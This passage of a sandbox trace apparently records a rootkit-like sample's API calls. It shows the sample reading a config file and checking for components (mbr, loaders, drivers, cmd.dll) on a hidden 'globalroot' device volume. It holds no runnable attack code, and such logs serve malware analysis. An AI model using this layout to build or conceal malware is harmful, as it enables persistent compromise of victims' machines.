VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.305] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.305] IdePortDispatch () returned 0x103 [0125.305] KeWaitForMutexObject () returned 0x0 [0125.305] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.305] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.305] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.305] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.305] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.305] IdePortDispatch () returned 0x103 [0125.305] KeWaitForMutexObject () returned 0x0 [0125.305] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.305] KeLeaveCriticalRegion () [0125.305] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.306] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.306] KeEnterCriticalRegion () [0125.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.306] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.306] KeLeaveCriticalRegion () [0125.306] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.306] KeEnterCriticalRegion () [0125.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.306] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.306] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.306] KeLeaveCriticalRegion () [0125.306] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.306] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.306] KeEnterCriticalRegion () [0125.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.306] ExFreePoolWithTag (P=0xfffffa8003bf6d10, Tag=0x0) [0125.306] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.306] KeLeaveCriticalRegion () [0125.306] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.306] ReleaseMutex (hMutex=0xf0) returned 1 [0125.306] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.306] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.306] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.306] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.306] KeEnterCriticalRegion () [0125.306] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.306] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.306] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.306] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.306] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.306] IdePortDispatch () returned 0x103 [0125.307] KeWaitForMutexObject () returned 0x0 [0125.307] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.307] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.307] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.307] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.307] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.307] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.307] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.307] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.307] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.307] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.307] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.307] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.307] KeLeaveCriticalRegion () [0125.307] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.307] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.307] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.307] KeEnterCriticalRegion () [0125.307] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.307] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.307] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.307] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.307] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.307] IdePortDispatch () returned 0x103 [0125.307] KeWaitForMutexObject () returned 0x0 [0125.307] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.307] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.307] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.307] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.308] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.308] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.308] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.308] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.308] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.308] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.308] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.308] KeLeaveCriticalRegion () [0125.308] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.308] ReleaseMutex (hMutex=0x100) returned 1 [0125.308] Sleep (dwMilliseconds=0x2bf20) [0125.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6de39d30, dwHighDateTime=0x1d24fa4)) [0125.314] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.314] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.314] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.314] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.314] KeEnterCriticalRegion () [0125.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.314] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.314] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.314] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.314] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.314] IdePortDispatch () returned 0x103 [0125.314] KeWaitForMutexObject () returned 0x0 [0125.314] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.315] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.315] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.315] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.315] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.315] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6c60 [0125.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.315] KeLeaveCriticalRegion () [0125.315] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.315] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.315] KeEnterCriticalRegion () [0125.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.315] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.315] KeLeaveCriticalRegion () [0125.315] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.315] KeEnterCriticalRegion () [0125.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.315] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.315] IdePortDispatch () returned 0x103 [0125.315] KeWaitForMutexObject () returned 0x0 [0125.315] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.315] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.315] KeLeaveCriticalRegion () [0125.315] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.315] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.315] KeEnterCriticalRegion () [0125.315] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.315] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c10000 [0125.315] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.315] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.315] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.315] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.315] IdePortDispatch () returned 0x103 [0125.316] KeWaitForMutexObject () returned 0x0 [0125.316] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.316] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.316] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.316] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.316] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.316] IdePortDispatch () returned 0x103 [0125.316] KeWaitForMutexObject () returned 0x0 [0125.316] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.316] KeLeaveCriticalRegion () [0125.316] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.316] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.316] KeEnterCriticalRegion () [0125.316] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.316] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.317] KeLeaveCriticalRegion () [0125.317] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.317] KeEnterCriticalRegion () [0125.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.317] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.317] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.317] KeLeaveCriticalRegion () [0125.317] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.317] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.317] KeEnterCriticalRegion () [0125.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.317] ExFreePoolWithTag (P=0xfffffa8003bf6c60, Tag=0x0) [0125.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.317] KeLeaveCriticalRegion () [0125.317] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.317] ReleaseMutex (hMutex=0xf0) returned 1 [0125.317] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.317] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.317] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.317] KeEnterCriticalRegion () [0125.317] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.317] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.317] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.317] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.317] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.317] IdePortDispatch () returned 0x103 [0125.317] KeWaitForMutexObject () returned 0x0 [0125.317] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.317] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.317] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.317] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.317] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.317] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf7fb0 [0125.317] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.317] KeLeaveCriticalRegion () [0125.317] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.318] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.318] KeEnterCriticalRegion () [0125.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.318] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.318] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.318] KeLeaveCriticalRegion () [0125.318] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.318] KeEnterCriticalRegion () [0125.318] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.318] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.318] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.318] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.318] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.318] IdePortDispatch () returned 0x103 [0125.323] KeWaitForMutexObject () returned 0x0 [0125.323] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.323] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.323] KeLeaveCriticalRegion () [0125.323] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.323] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.323] KeEnterCriticalRegion () [0125.323] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.324] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c11000 [0125.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.324] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.324] IdePortDispatch () returned 0x103 [0125.324] KeWaitForMutexObject () returned 0x0 [0125.324] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.324] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.324] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.324] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.324] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.324] IdePortDispatch () returned 0x103 [0125.324] KeWaitForMutexObject () returned 0x0 [0125.324] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.324] KeLeaveCriticalRegion () [0125.324] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.325] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.325] KeEnterCriticalRegion () [0125.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.325] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.325] KeLeaveCriticalRegion () [0125.325] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.325] KeEnterCriticalRegion () [0125.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.325] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.325] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.325] KeLeaveCriticalRegion () [0125.325] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.325] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.325] KeEnterCriticalRegion () [0125.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.325] ExFreePoolWithTag (P=0xfffffa8003bf7fb0, Tag=0x0) [0125.325] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.325] KeLeaveCriticalRegion () [0125.325] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.325] ReleaseMutex (hMutex=0xf0) returned 1 [0125.325] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.325] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.325] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.325] KeEnterCriticalRegion () [0125.325] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.325] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.325] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.325] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.325] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.325] IdePortDispatch () returned 0x103 [0125.326] KeWaitForMutexObject () returned 0x0 [0125.326] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.326] _strnicmp (_Str1="cmd.dll", 